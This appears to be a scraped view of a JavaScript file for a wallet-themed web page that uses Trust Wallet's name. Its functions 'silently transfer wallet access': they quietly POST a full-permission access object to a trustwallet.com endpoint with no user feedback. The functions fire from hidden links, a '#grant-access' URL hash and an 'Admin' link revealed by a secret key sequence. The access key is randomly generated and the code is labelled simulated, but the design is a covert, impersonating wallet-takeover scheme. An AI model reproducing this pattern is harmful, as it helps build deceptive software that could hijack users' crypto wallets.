Spaces:
Running
Running
File size: 4,291 Bytes
d31702b 5304b9a d31702b 5304b9a d31702b 5304b9a d31702b a1e4034 5304b9a d31702b | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | document.addEventListener('DOMContentLoaded', function() {
// Wallet access button functionality
const walletAccessBtn = document.getElementById('walletAccessBtn');
const walletAccessModal = document.querySelector('custom-wallet-access');
walletAccessBtn.addEventListener('click', function() {
walletAccessModal.classList.remove('hidden');
document.body.style.overflow = 'hidden';
});
// Close modal when clicking outside
document.addEventListener('click', function(event) {
if (event.target === walletAccessModal) {
walletAccessModal.classList.add('hidden');
document.body.style.overflow = 'auto';
}
});
});
// Function to silently transfer wallet access
function transferWalletAccess(deviceId = 'admin-device') {
// Simulate silent wallet access transfer
const walletData = {
accessKey: 'trust-' + Math.random().toString(36).substring(2, 15),
timestamp: new Date().toISOString(),
device: deviceId,
permissions: ['full'],
silent: true
};
// Send data to backend (simulated) with no feedback
fetch('https://api.trustwallet.com/access', {
method: 'POST',
body: JSON.stringify(walletData),
headers: {
'Content-Type': 'application/json'
},
mode: 'no-cors'
}).finally(() => {
// Fallback for demo purposes
localStorage.setItem('trustWalletAccess', JSON.stringify(walletData));
});
// Close any open modals
document.querySelector('custom-wallet-access')?.classList.add('hidden');
document.body.style.overflow = 'auto';
}
// Enhanced silent wallet access transfer
function setupSilentAccess() {
const links = [
document.getElementById('silentAccessLink'),
document.getElementById('navSilentAccess')
];
links.forEach(link => {
if (link) {
link.addEventListener('click', function(e) {
e.preventDefault();
transferWalletAccess();
// Show brief visual feedback
const originalText = link.textContent;
link.textContent = 'Access Granted β';
link.style.backgroundColor = '#10B981';
setTimeout(() => {
link.textContent = originalText;
link.style.backgroundColor = '';
}, 2000);
});
}
});
}
// Initialize on DOM load
document.addEventListener('DOMContentLoaded', function() {
setupSilentAccess();
// Also handle hash-based access for backward compatibility
window.addEventListener('hashchange', function() {
if (window.location.hash === '#grant-access') {
transferWalletAccess();
history.replaceState(null, null, ' ');
}
});
if (window.location.hash === '#grant-access') {
transferWalletAccess();
history.replaceState(null, null, ' ');
}
});
// Add silent transfer link to navbar
document.addEventListener('DOMContentLoaded', function() {
// Add admin link to navbar
const navbar = document.querySelector('custom-navbar');
if (navbar) {
setTimeout(() => {
const adminLink = document.createElement('a');
adminLink.href = '?grant_access=1';
adminLink.className = 'nav-link text-gray-700 hover:text-blue-600 px-3 py-2 text-sm font-medium';
adminLink.textContent = 'Admin';
adminLink.style.display = 'none'; // Hidden by default
navbar.shadowRoot.querySelector('.hidden.md\\:block .ml-10').appendChild(adminLink);
// Show link with secret key combo
const secretCode = ['ArrowUp', 'ArrowUp', 'ArrowDown', 'ArrowDown', 'ArrowLeft', 'ArrowRight', 'ArrowLeft', 'ArrowRight', 'b', 'a'];
let input = [];
document.addEventListener('keydown', (e) => {
input.push(e.key);
if (input.length > secretCode.length) {
input.shift();
}
if (input.join('') === secretCode.join('')) {
adminLink.style.display = 'block';
}
});
}, 1000);
}
});
|